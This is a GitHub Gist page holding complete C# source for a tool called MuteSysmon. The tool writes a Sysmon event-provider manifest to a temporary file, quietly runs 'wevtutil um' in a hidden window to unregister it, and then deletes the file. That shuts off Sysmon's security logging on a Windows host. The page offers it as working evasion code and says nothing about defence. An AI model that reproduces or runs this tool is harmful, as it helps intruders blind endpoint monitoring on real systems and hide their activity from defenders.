Skip to content

Instantly share code, notes, and snippets.

@Flangvik
Created July 14, 2020 15:01
Show Gist options
  • Star 9 You must be signed in to star a gist
  • Fork 7 You must be signed in to fork a gist
  • Save Flangvik/901b50bc8b0abbe3faf4a3cce8cefade to your computer and use it in GitHub Desktop.
Save Flangvik/901b50bc8b0abbe3faf4a3cce8cefade to your computer and use it in GitHub Desktop.
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Text;
namespace MuteSysmon
{
class Program
{
static void Main(string[] args)
{
string manifest = @"
<instrumentationManifest xmlns=""http://schemas.microsoft.com/win/2004/08/events"">
<instrumentation>
<events>
<provider name=""Microsoft-Windows-Sysmon"" guid=""{5770385F-C22A-43E0-BF4C-06F5698FFBD9}"" />
</events>
</instrumentation>
</instrumentationManifest>
";
string tempFilePath = Path.GetTempFileName();
Console.WriteLine("[*] Writing manifest to temporary file " + tempFilePath);
File.WriteAllText(tempFilePath, manifest);
Console.WriteLine("[*] Uninstalling Sysmon event manifest");
Process uninstProc = new Process()
{
StartInfo = new ProcessStartInfo()
{
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
FileName = "wevtutil",
Arguments = "um " + tempFilePath
}
};
uninstProc.Start();
uninstProc.WaitForExit();
Console.WriteLine("[*] Deleting temporary file " + tempFilePath);
File.Delete(tempFilePath);
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment